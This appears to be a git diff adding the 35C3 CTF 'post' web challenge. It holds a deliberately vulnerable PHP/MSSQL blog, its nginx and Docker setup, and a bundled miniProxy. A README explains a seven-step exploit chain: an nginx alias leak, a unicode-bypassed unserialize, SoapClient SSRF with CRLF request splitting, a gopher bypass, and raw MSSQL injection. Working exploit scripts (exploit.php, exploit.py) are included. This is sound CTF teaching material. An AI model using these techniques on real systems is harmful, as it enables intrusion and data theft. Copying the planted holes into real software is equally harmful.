diff --git a/web600-2/README.md b/web600-2/README.md new file mode 100644 index 0000000..c6ce7d4 --- /dev/null +++ b/web600-2/README.md @@ -0,0 +1,2 @@ +# 35c3 CTF challenges +Repository for challenges I have created for the 35c3 CTF. diff --git a/web600-2/img/2019-01-10-14-36-20.png b/web600-2/img/2019-01-10-14-36-20.png new file mode 100644 index 0000000..7c4f289 Binary files /dev/null and b/web600-2/img/2019-01-10-14-36-20.png differ diff --git a/web600-2/img/2019-01-10-14-36-57.png b/web600-2/img/2019-01-10-14-36-57.png new file mode 100644 index 0000000..60c71b5 Binary files /dev/null and b/web600-2/img/2019-01-10-14-36-57.png differ diff --git a/web600-2/img/2019-01-10-15-52-35.png b/web600-2/img/2019-01-10-15-52-35.png new file mode 100644 index 0000000..5f66a5e Binary files /dev/null and b/web600-2/img/2019-01-10-15-52-35.png differ diff --git a/web600-2/post/Dockerfile b/web600-2/post/Dockerfile new file mode 100644 index 0000000..c1ad863 --- /dev/null +++ b/web600-2/post/Dockerfile @@ -0,0 +1,37 @@ +FROM ubuntu:latest + +RUN apt-get -y update + + +RUN DEBIAN_FRONTEND=noninteractive apt-get -y install curl wget vim nginx php-fpm libssl1.0 gnupg gcc g++ make autoconf libc-dev pkg-config php-pear php-soap + +RUN curl -s https://packages.microsoft.com/keys/microsoft.asc | apt-key add - +RUN curl -s https://packages.microsoft.com/config/ubuntu/18.04/prod.list > /etc/apt/sources.list.d/mssql-release.list + +RUN apt-get update +RUN ACCEPT_EULA=Y apt-get -y install msodbcsql17 mssql-tools unixodbc-dev + +RUN apt-get -y install php7.2-dev + +RUN pecl install sqlsrv && pecl install pdo_sqlsrv + +RUN echo extension=sqlsrv.so > /etc/php/7.2/fpm/conf.d/sqlsrv.ini +RUN echo extension=pdo_sqlsrv.so > /etc/php/7.2/fpm/conf.d/pdo_sqlsrv.ini + +RUN apt-get -y install php-curl php-mbstring php-xml php-zip + +COPY default /etc/nginx/sites-available/default +RUN mkdir /var/www/uploads +RUN chown -R root:root /var/www/ + + +# ADD web/html/ /var/www/html/ +# ADD web/miniProxy/ /var/www/miniProxy/ +VOLUME [ "/var/www/" ] +ADD default /var/www/default.backup + +RUN chmod o+wx /var/www/uploads +RUN chmod o-r /var/www/uploads + + +CMD service php7.2-fpm start && service nginx start && /bin/bash diff --git a/web600-2/post/README.md b/web600-2/post/README.md new file mode 100644 index 0000000..0540da3 --- /dev/null +++ b/web600-2/post/README.md @@ -0,0 +1,37 @@ +# 'post' challenge + +This was one of the web challenges. Congrats to 0daysober and LC/BC for solving it! + +## Run +To run it locally just do `docker-compose build && docker-compose up`. + +## Exploit +There are several steps to successfully exploit it. + +1. **nginx misconfiguration** + + You can leak the source code by navigating to `/uploads../`. +2. **arbitrary unserialize** + + After auditing the source code, you will find that the application unserializes strings from the database that have the prefix `$serializedobject$`. However, there is a check to prevent you from injecting strings of that form into the database. Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains `0xEF 0xBC 0x84`, it will be stored as `$`. +3. **SoapClient SSRF** + + SoapClient can perform POST requests if any method is called on the object. The `Attachment` class implements a `__toString` method, which calls `open` on its `za` property. Serializing a SoapClient as `za` property will therefore lead to SSRF. + +4. **SoapClient CRLF injection** + + There is a proxy running on `127.0.0.1:8080`, which you want to reach. Looking at the nginx configuration, it only accepts GET requests. However, SoapClient generates POST requests. But the `_user_agent` property of SoapClient is vulnerable to CRLF injection and thus you can perform a request splitting. By injection `\n\n` followed by a valid GET request, you can reach the proxy via a GET. + +5. **miniProxy URL scheme bypass** + + Here I fucked up a bit. Intended solution was to bypass the check for http/https in miniProxy. This is possible by using `gopher:///...` as miniProxy only verifies http/https if the host is set. Unfortunately, you can also just bypass it with a 301 redirect to gopher... SAD! :D + +6. **Connect to MSSQL via gopher** + + Final step was to connect to MSSQL via gopher using the credentials from the source code leak. The only thing to look out for here is that gopher automatically adds a `\r\n` to the request, which has to be accounted for when creating the MSSQL packets. + +7. **Get flag** + + The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case). Therefore to get the flag you want to copy it to one of your posts: `INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -`. You can find your user id by sending a request to the application with the header `Debug: 1`. + +To run the exploit do `python exploit.py` diff --git a/web600-2/post/build_docker.sh b/web600-2/post/build_docker.sh new file mode 100755 index 0000000..2c2aeac --- /dev/null +++ b/web600-2/post/build_docker.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec docker build -t eboda/post . diff --git a/web600-2/post/default b/web600-2/post/default new file mode 100644 index 0000000..b05f772 --- /dev/null +++ b/web600-2/post/default @@ -0,0 +1,46 @@ +server { + listen 80; + access_log /var/log/nginx/example.log; + + server_name localhost; + + root /var/www/html; + + location /uploads { + autoindex on; + alias /var/www/uploads/; + } + + location / { + alias /var/www/html/; + index index.php; + + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.2-fpm.sock; + } + } + + location /inc/ { + deny all; + } +} + +server { + listen 127.0.0.1:8080; + access_log /var/log/nginx/proxy.log; + + if ( $request_method !~ ^(GET)$ ) { + return 405; + } + root /var/www/miniProxy; + location / { + index index.php; + + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.2-fpm.sock; + } + } + +} diff --git a/web600-2/post/docker-compose.yml b/web600-2/post/docker-compose.yml new file mode 100644 index 0000000..6f8a959 --- /dev/null +++ b/web600-2/post/docker-compose.yml @@ -0,0 +1,22 @@ +version: '3' + + +services: + db: + build: ./sqlserver + environment: + ACCEPT_EULA: Y + SA_PASSWORD: QIUHDI13hqssiuaQDHsaaseglpduac + ports: + - "1433:1433" + challenge: + build: . + volumes: + - ./web/html:/var/www/html + - ./web/miniProxy:/var/www/miniProxy + container_name: challenge + depends_on: + - db + ports: + - "8000:80" + tty: true diff --git a/web600-2/post/exploit/exploit.php b/web600-2/post/exploit/exploit.php new file mode 100644 index 0000000..fe35657 --- /dev/null +++ b/web600-2/post/exploit/exploit.php @@ -0,0 +1,94 @@ +za->open(...)) +class Attachment { + public function __construct($za) { + $this->za = $za; + } +} + +// We use a SoapClient to make arbitrary HTTP calls. There is a +// proxy running on localhost which we can use to redirect the HTTP +// request to a gopher request (which we will then use to connect to +// MSSQL). +// However, the proxy only accepts GET requests and SoapClient generates +// POST requests only. Luckily, the _user_agent property is vulnerable to +// CRLF injection and we can do a request splitting by injecting two +// new lines and then our GET payload. +class BoapClient { + public $uri = "http://localhost:8080/miniProxy.php"; + public $location = "http://localhost:8080/miniProxy.php"; + public $_user_agent = NULL; + public function __construct() { + global $payload; + $this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n"; +} + +} + + +$a = new Attachment(new BoapClient); +echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a))); diff --git a/web600-2/post/exploit/exploit.py b/web600-2/post/exploit/exploit.py new file mode 100644 index 0000000..18f1218 --- /dev/null +++ b/web600-2/post/exploit/exploit.py @@ -0,0 +1,52 @@ +import requests +import re +import random +import base64 +import subprocess +import string + +TARGET = "http://localhost:8000/" +s = requests.Session() + +def register(user, pw): + url = "{}?page=register".format(TARGET) + data={"username": user, "password": pw} + s.post(url, data=data) + +def login(user, pw): + url = "{}?page=login".format(TARGET) + data={"username": user, "password": pw} + s.post(url, data=data) + +def fetch_uid(): + return s.get(TARGET, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0] + +def inject_object(payload): + serialized = subprocess.check_output(["php", "exploit.php", payload]) + serialized = base64.b64decode(serialized) + files = { + "title": (None, "foobar"), + "content": (None, serialized), + } + s.post("{}?action=create".format(TARGET), files=files).content + +def get_flag(): + res = s.get(TARGET).content.decode() + return re.findall("35c3_[a-zA-Z0-9_]+", res) + +user = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) +pw = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) + +register(user, pw) +login(user, pw) + +# get our user id using the "Debug" header +uid = fetch_uid() + +# since we can't see any output of the curl command from the miniProxy, +# we will copy the flag into one of our posts and then view that post afterwards +payload = "insert into posts (userid, title, content, attachment) values ({}, \"foobar\", (select flag from flag.flag), \"foobar\");".format(uid) +inject_object(payload) + +# get the flag :) +print(get_flag()) diff --git a/web600-2/post/run_docker.sh b/web600-2/post/run_docker.sh new file mode 100755 index 0000000..6648c02 --- /dev/null +++ b/web600-2/post/run_docker.sh @@ -0,0 +1,2 @@ +#!/bin/sh +exec docker run -it --rm -p 127.0.0.1:8000:80 eboda/post diff --git a/web600-2/post/sqlserver/Dockerfile b/web600-2/post/sqlserver/Dockerfile new file mode 100644 index 0000000..49beb32 --- /dev/null +++ b/web600-2/post/sqlserver/Dockerfile @@ -0,0 +1,14 @@ +FROM mcr.microsoft.com/mssql/server:2017-latest +ENV ACCEPT_EULA y +ENV SA_PASSWORD QIUHDI13hqssiuaQDHsaaseglpduac + + +ADD *.sql /tmp/ + +RUN /opt/mssql/bin/sqlservr --accept-eula & sleep 20 \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_db.sql \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_schema.sql \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_tables.sql \ + && /bin/bash + + diff --git a/web600-2/post/sqlserver/create_db.sql b/web600-2/post/sqlserver/create_db.sql new file mode 100644 index 0000000..e553be6 --- /dev/null +++ b/web600-2/post/sqlserver/create_db.sql @@ -0,0 +1,4 @@ +USE master; +CREATE DATABASE challenge; +CREATE LOGIN challenger WITH PASSWORD = 'Foobar1!', DEFAULT_DATABASE = challenge; + diff --git a/web600-2/post/sqlserver/create_schema.sql b/web600-2/post/sqlserver/create_schema.sql new file mode 100644 index 0000000..32300eb --- /dev/null +++ b/web600-2/post/sqlserver/create_schema.sql @@ -0,0 +1,8 @@ +USE challenge; +execute('CREATE SCHEMA challenge'); +execute('CREATE SCHEMA flag'); +CREATE USER challenger FOR LOGIN challenger WITH DEFAULT_SCHEMA = [challenge]; +GRANT SELECT, INSERT, DELETE, UPDATE ON SCHEMA :: [challenge] TO challenger; +GRANT SELECT ON SCHEMA :: [flag] TO challenger; +DENY SELECT ON SCHEMA :: sys TO challenger; +DENY SELECT ON SCHEMA :: INFORMATION_SCHEMA TO challenger; diff --git a/web600-2/post/sqlserver/create_tables.sql b/web600-2/post/sqlserver/create_tables.sql new file mode 100644 index 0000000..21f9ea0 --- /dev/null +++ b/web600-2/post/sqlserver/create_tables.sql @@ -0,0 +1,8 @@ +USE challenge; + +CREATE TABLE [challenge].[user] ( uid INT IDENTITY(1,1) PRIMARY KEY, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL); + +CREATE TABLE [challenge].posts ( id INT IDENTITY(1,1) NOT NULL PRIMARY KEY, attachment VARCHAR(4096) NOT NULL, title VARCHAR(255) NOT NULL, content VARCHAR(4096) NOT NULL, userid INT FOREIGN KEY REFERENCES [challenge].[user](uid)); + +CREATE TABLE [flag].[flag] (flag VARCHAR(255)); +INSERT INTO [flag].[flag] (flag) VALUES("35c3_wel1_job_good_d0ne_heyho"); diff --git a/web600-2/post/web/html/inc/bootstrap.php b/web600-2/post/web/html/inc/bootstrap.php new file mode 100644 index 0000000..b5ac984 --- /dev/null +++ b/web600-2/post/web/html/inc/bootstrap.php @@ -0,0 +1,15 @@ + "Foobar1!", "uid"=>"challenger", "Database"=>"challenge")); + if (!DB::$con) DB::error(); + + DB::$init = true; + } + + private static function error() { + die("db error"); + } + + private static function prepare_params($params) { + return array_map(function($x){ + if (is_object($x) or is_array($x)) { + return '$serializedobject$' . serialize($x); + } + + if (preg_match('/^\$serializedobject\$/i', $x)) { + die("invalid data"); + return ""; + } + + return $x; + }, $params); + } + + private static function retrieve_values($res) { + $result = array(); + while ($row = sqlsrv_fetch_array($res)) { + $result[] = array_map(function($x){ + return preg_match('/^\$serializedobject\$/i', $x) ? + unserialize(substr($x, 18)) : $x; + }, $row); + } + return $result; + } + + public static function query($sql, $values=array()) { + if (!is_array($values)) $values = array($values); + if (!DB::$init) DB::initialize(); + + + $res = sqlsrv_query(DB::$con, $sql, $values); + if ($res === false) DB::error(); + + return DB::retrieve_values($res); + } + + public static function insert($sql, $values=array()) { + if (!is_array($values)) $values = array($values); + if (!DB::$init) DB::initialize(); + + $values = DB::prepare_params($values); + + $x = sqlsrv_query(DB::$con, $sql, $values); + if (!$x) throw new Exception; + } +} diff --git a/web600-2/post/web/html/inc/default.php b/web600-2/post/web/html/inc/default.php new file mode 100644 index 0000000..aadc18b --- /dev/null +++ b/web600-2/post/web/html/inc/default.php @@ -0,0 +1,86 @@ + +save(); + } + if (isset($_GET["action"])) { + if ($_GET["action"] == "restart") { + Post::truncate(); + header("Location: /"); + die; + } else { +?> +

Create new post

+
+ + + + + + + + + + + + + + + + + +
+ + + +
+ + + +
+ + + +
+ + +
+ + +
+ +
+
+You do not have any posts. Create some!"; + } else { + echo "You have " . count($posts) ." posts. Create some more if you want! Or restart your blog."; + } + + foreach($posts as $p) { + echo $p; + echo "

"; + } + +?> + diff --git a/web600-2/post/web/html/inc/footer.php b/web600-2/post/web/html/inc/footer.php new file mode 100644 index 0000000..1d0e8b4 --- /dev/null +++ b/web600-2/post/web/html/inc/footer.php @@ -0,0 +1,3 @@ + + + diff --git a/web600-2/post/web/html/inc/header.php b/web600-2/post/web/html/inc/header.php new file mode 100644 index 0000000..3b1b410 --- /dev/null +++ b/web600-2/post/web/html/inc/header.php @@ -0,0 +1,7 @@ + + +

Post

+Home +Login +Register +

diff --git a/web600-2/post/web/html/inc/login.php b/web600-2/post/web/html/inc/login.php new file mode 100644 index 0000000..c374af0 --- /dev/null +++ b/web600-2/post/web/html/inc/login.php @@ -0,0 +1,30 @@ +alert('invalid user /password');"); + } + + header("Location: /"); + die; +} + + + +?> + + +
+ + + + + +
+ diff --git a/web600-2/post/web/html/inc/post.php b/web600-2/post/web/html/inc/post.php new file mode 100644 index 0000000..d2b4315 --- /dev/null +++ b/web600-2/post/web/html/inc/post.php @@ -0,0 +1,89 @@ +url = $url; + $this->mime = (new finfo)->file("../".$url); + if (substr($this->mime, 0, 11) == "Zip archive") { + $this->mime = "Zip archive"; + $this->za = new ZipArchive; + } + } + + public function __toString() { + $str = "".basename($this->url)." ($this->mime "; + if (!is_null($this->za)) { + $this->za->open("../".$this->url); + $str .= "with ".$this->za->numFiles . " Files."; + } + return $str. ")"; + } + +} + +class Post { + private $title = NULL; + private $content = NULL; + private $attachment = NULL; + private $ref = NULL; + private $id = NULL; + + + public function __construct($title, $content, $attachments="") { + $this->title = $title; + $this->content = $content; + $this->attachment = $attachments; + } + + public function save() { + global $USER; + if (is_null($this->id)) { + DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", + array($USER->uid, $this->title, $this->content, $this->attachment)); + } else { + DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", + array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); + } + } + + public static function truncate() { + global $USER; + DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid)); + } + + public static function load($id) { + global $USER; + $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?", + array($USER->uid, $id)); + if (!$res) die("db error"); + $res = $res[0]; + $post = new Post($res["title"], $res["content"], $res["attachment"]); + $post->id = $id; + return $post; + } + + public static function loadall() { + global $USER; + $result = array(); + $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ; + if (!$posts) return $result; + foreach ($posts as $p) { + $result[] = Post::load($p["id"]); + } + return $result; + } + + public function __toString() { + $str = "

{$this->title}

"; + $str .= $this->content; + $str .= "
Attachments:
"; + foreach ($this->attachment as $attach) { + $str .= "
  • $attach
    • "; + } + $str .= "    "; + return $str; + } +} diff --git a/web600-2/post/web/html/inc/register.php b/web600-2/post/web/html/inc/register.php new file mode 100644 index 0000000..27c286c --- /dev/null +++ b/web600-2/post/web/html/inc/register.php @@ -0,0 +1,31 @@ +alert('username too short');"); + + try { + User::create($username, $password); + } catch (Exception $e) { + die(""); + } + + header("Location: /?page=login"); + die; +} + + + +?> + + +
    + + + + + +
    + diff --git a/web600-2/post/web/html/inc/user.php b/web600-2/post/web/html/inc/user.php new file mode 100644 index 0000000..2f03516 --- /dev/null +++ b/web600-2/post/web/html/inc/user.php @@ -0,0 +1,15 @@ +uid = $res[0]["uid"]; + } + + public static function create($username, $password) { + DB::insert("INSERT INTO [user] (username, password) VALUES (?, ?)", array($username, $password)); + } +} + diff --git a/web600-2/post/web/html/index.php b/web600-2/post/web/html/index.php new file mode 100644 index 0000000..ee6c18c --- /dev/null +++ b/web600-2/post/web/html/index.php @@ -0,0 +1,17 @@ + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. 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Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. 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If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/web600-2/post/web/miniProxy/README.md b/web600-2/post/web/miniProxy/README.md new file mode 100644 index 0000000..7778b3c --- /dev/null +++ b/web600-2/post/web/miniProxy/README.md @@ -0,0 +1,38 @@ +# miniProxy + +*by Joshua Dick* + +*[http://joshdick.github.io/miniProxy][1]* + +--- + +## About miniProxy + +miniProxy is a simple web proxy written in PHP that can allow you to bypass Internet content filters, or to browse the internet anonymously. miniProxy is licensed under the [GNU GPL v3][2]. miniProxy is the successor to [pageForward][3]. + +## Prerequisites + +miniProxy should be able to run on any web server with PHP 5.4.7 or later. miniProxy requires PHP's `curl` and `mbstring` extensions to be installed. + +## Installation and Use + +Simply copy `miniProxy.php` to your web server (it's okay to rename it) and access it directly. That's it! You'll be presented with further usage instructions. + +miniProxy doesn't require any configuration out of the box, but configuration options are available; see the top of `miniProxy.php` for details. + +## Known Limitations + +miniProxy has several known limitations. Some of them may be fixed in future releases. For now, they include: + +* `` tags are not handled +* No cookie support +* Basic AJAX support, but only for browsers that use `XMLHttpRequest` + +## Contact and Feedback + +If you'd like to contribute to miniProxy or file a bug or feature request, please visit [its GitHub page][4]. + + [1]: http://joshdick.github.io/miniProxy + [2]: http://www.gnu.org/licenses/gpl.html + [3]: http://pageforward.sf.net + [4]: https://github.com/joshdick/miniProxy diff --git a/web600-2/post/web/miniProxy/index.php b/web600-2/post/web/miniProxy/index.php new file mode 100644 index 0000000..389579a --- /dev/null +++ b/web600-2/post/web/miniProxy/index.php @@ -0,0 +1,3 @@ + +Written and maintained by Joshua Dick . +miniProxy is licensed under the GNU GPL v3 . +*/ + +/****************************** START CONFIGURATION ******************************/ + +//To allow proxying any URL, set $whitelistPatterns to an empty array (the default). +//To only allow proxying of specific URLs (whitelist), add corresponding regular expressions +//to the $whitelistPatterns array. Enter the most specific patterns possible, to prevent possible abuse. +//You can optionally use the "getHostnamePattern()" helper function to build a regular expression that +//matches all URLs for a given hostname. +$whitelistPatterns = array( + //Usage example: To support any URL at example.net, including sub-domains, uncomment the + //line below (which is equivalent to [ @^https?://([a-z0-9-]+\.)*example\.net@i ]): + //getHostnamePattern("example.net") +); + +//To enable CORS (cross-origin resource sharing) for proxied sites, set $forceCORS to true. +$forceCORS = false; + +//Set to false to report the client machine's IP address to proxied sites via the HTTP `x-forwarded-for` header. +//Setting to false may improve compatibility with some sites, but also exposes more information about end users to proxied sites. +$anonymize = true; + +//Start/default URL that that will be proxied when miniProxy is first loaded in a browser/accessed directly with no URL to proxy. +//If empty, miniProxy will show its own landing page. +$startURL = ""; + +//When no $startURL is configured above, miniProxy will show its own landing page with a URL form field +//and the configured example URL. The example URL appears in the instructional text on the miniProxy landing page, +//and is proxied when pressing the 'Proxy It!' button on the landing page if its URL form is left blank. +$landingExampleURL = "https://example.net"; + +/****************************** END CONFIGURATION ******************************/ + +ob_start("ob_gzhandler"); + +if (version_compare(PHP_VERSION, "5.4.7", "<")) { + die("miniProxy requires PHP version 5.4.7 or later."); +} + +$requiredExtensions = ["curl", "mbstring", "xml"]; +foreach($requiredExtensions as $requiredExtension) { + if (!extension_loaded($requiredExtension)) { + die("miniProxy requires PHP's \"" . $requiredExtension . "\" extension. Please install/enable it on your server and try again."); + } +} + +//Helper function for use inside $whitelistPatterns. +//Returns a regex that matches all HTTP[S] URLs for a given hostname. +function getHostnamePattern($hostname) { + $escapedHostname = str_replace(".", "\.", $hostname); + return "@^https?://([a-z0-9-]+\.)*" . $escapedHostname . "@i"; +} + +//Helper function used to removes/unset keys from an associative array using case insensitive matching +function removeKeys(&$assoc, $keys2remove) { + $keys = array_keys($assoc); + $map = array(); + $removedKeys = array(); + foreach ($keys as $key) { + $map[strtolower($key)] = $key; + } + foreach ($keys2remove as $key) { + $key = strtolower($key); + if (isset($map[$key])) { + unset($assoc[$map[$key]]); + $removedKeys[] = $map[$key]; + } + } + return $removedKeys; +} + +if (!function_exists("getallheaders")) { + //Adapted from http://www.php.net/manual/en/function.getallheaders.php#99814 + function getallheaders() { + $result = array(); + foreach($_SERVER as $key => $value) { + if (substr($key, 0, 5) == "HTTP_") { + $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5))))); + $result[$key] = $value; + } + } + return $result; + } +} + +$usingDefaultPort = (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 80) || (isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 443); +$prefixPort = $usingDefaultPort ? "" : ":" . $_SERVER["SERVER_PORT"]; +//Use HTTP_HOST to support client-configured DNS (instead of SERVER_NAME), but remove the port if one is present +$prefixHost = $_SERVER["HTTP_HOST"]; +$prefixHost = strpos($prefixHost, ":") ? implode(":", explode(":", $_SERVER["HTTP_HOST"], -1)) : $prefixHost; + +define("PROXY_PREFIX", "http" . (isset($_SERVER["HTTPS"]) ? "s" : "") . "://" . $prefixHost . $prefixPort . $_SERVER["SCRIPT_NAME"] . "?"); + +//Makes an HTTP request via cURL, using request data that was passed directly to this script. +function makeRequest($url) { + + global $anonymize; + + //Tell cURL to make the request using the brower's user-agent if there is one, or a fallback user-agent otherwise. + $user_agent = $_SERVER["HTTP_USER_AGENT"]; + if (empty($user_agent)) { + $user_agent = "Mozilla/5.0 (compatible; miniProxy)"; + } + $ch = curl_init(); + curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); + + //Get ready to proxy the browser's request headers... + $browserRequestHeaders = getallheaders(); + + //...but let cURL set some headers on its own. + $removedHeaders = removeKeys($browserRequestHeaders, array( + "Accept-Encoding", //Throw away the browser's Accept-Encoding header if any and let cURL make the request using gzip if possible. + "Content-Length", + "Host", + "Origin" + )); + + $removedHeaders = array_map("strtolower", $removedHeaders); + + curl_setopt($ch, CURLOPT_ENCODING, ""); + //Transform the associative array from getallheaders() into an + //indexed array of header strings to be passed to cURL. + $curlRequestHeaders = array(); + foreach ($browserRequestHeaders as $name => $value) { + $curlRequestHeaders[] = $name . ": " . $value; + } + if (!$anonymize) { + $curlRequestHeaders[] = "X-Forwarded-For: " . $_SERVER["REMOTE_ADDR"]; + } + //Any `origin` header sent by the browser will refer to the proxy itself. + //If an `origin` header is present in the request, rewrite it to point to the correct origin. + if (in_array("origin", $removedHeaders)) { + $urlParts = parse_url($url); + $port = $urlParts["port"]; + $curlRequestHeaders[] = "Origin: " . $urlParts["scheme"] . "://" . $urlParts["host"] . (empty($port) ? "" : ":" . $port); + }; + curl_setopt($ch, CURLOPT_HTTPHEADER, $curlRequestHeaders); + + //Proxy any received GET/POST/PUT data. + switch ($_SERVER["REQUEST_METHOD"]) { + case "POST": + curl_setopt($ch, CURLOPT_POST, true); + //For some reason, $HTTP_RAW_POST_DATA isn't working as documented at + //http://php.net/manual/en/reserved.variables.httprawpostdata.php + //but the php://input method works. This is likely to be flaky + //across different server environments. + //More info here: http://stackoverflow.com/questions/8899239/http-raw-post-data-not-being-populated-after-upgrade-to-php-5-3 + //If the miniProxyFormAction field appears in the POST data, remove it so the destination server doesn't receive it. + $postData = Array(); + parse_str(file_get_contents("php://input"), $postData); + if (isset($postData["miniProxyFormAction"])) { + unset($postData["miniProxyFormAction"]); + } + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); + break; + case "PUT": + curl_setopt($ch, CURLOPT_PUT, true); + curl_setopt($ch, CURLOPT_INFILE, fopen("php://input", "r")); + break; + } + + //Other cURL options. + curl_setopt($ch, CURLOPT_HEADER, true); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + //Set the request URL. + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 1); + + //Make the request. + $response = curl_exec($ch); + $responseInfo = curl_getinfo($ch); + $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); + curl_close($ch); + + //Setting CURLOPT_HEADER to true above forces the response headers and body + //to be output together--separate them. + $responseHeaders = substr($response, 0, $headerSize); + $responseBody = substr($response, $headerSize); + + return array("headers" => $responseHeaders, "body" => $responseBody, "responseInfo" => $responseInfo); +} + +//Converts relative URLs to absolute ones, given a base URL. +//Modified version of code found at http://nashruddin.com/PHP_Script_for_Converting_Relative_to_Absolute_URL +function rel2abs($rel, $base) { + if (empty($rel)) $rel = "."; + if (parse_url($rel, PHP_URL_SCHEME) != "" || strpos($rel, "//") === 0) return $rel; //Return if already an absolute URL + if ($rel[0] == "#" || $rel[0] == "?") return $base.$rel; //Queries and anchors + extract(parse_url($base)); //Parse base URL and convert to local variables: $scheme, $host, $path + $path = isset($path) ? preg_replace("#/[^/]*$#", "", $path) : "/"; //Remove non-directory element from path + if ($rel[0] == "/") $path = ""; //Destroy path if relative url points to root + $port = isset($port) && $port != 80 ? ":" . $port : ""; + $auth = ""; + if (isset($user)) { + $auth = $user; + if (isset($pass)) { + $auth .= ":" . $pass; + } + $auth .= "@"; + } + $abs = "$auth$host$port$path/$rel"; //Dirty absolute URL + for ($n = 1; $n > 0; $abs = preg_replace(array("#(/\.?/)#", "#/(?!\.\.)[^/]+/\.\./#"), "/", $abs, -1, $n)) {} //Replace '//' or '/./' or '/foo/../' with '/' + return $scheme . "://" . $abs; //Absolute URL is ready. +} + +//Proxify contents of url() references in blocks of CSS text. +function proxifyCSS($css, $baseURL) { + // Add a "url()" wrapper to any CSS @import rules that only specify a URL without the wrapper, + // so that they're proxified when searching for "url()" wrappers below. + $sourceLines = explode("\n", $css); + $normalizedLines = []; + foreach ($sourceLines as $line) { + if (preg_match("/@import\s+url/i", $line)) { + $normalizedLines[] = $line; + } else { + $normalizedLines[] = preg_replace_callback( + "/(@import\s+)([^;\s]+)([\s;])/i", + function($matches) use ($baseURL) { + return $matches[1] . "url(" . $matches[2] . ")" . $matches[3]; + }, + $line); + } + } + $normalizedCSS = implode("\n", $normalizedLines); + return preg_replace_callback( + "/url\((.*?)\)/i", + function($matches) use ($baseURL) { + $url = $matches[1]; + //Remove any surrounding single or double quotes from the URL so it can be passed to rel2abs - the quotes are optional in CSS + //Assume that if there is a leading quote then there should be a trailing quote, so just use trim() to remove them + if (strpos($url, "'") === 0) { + $url = trim($url, "'"); + } 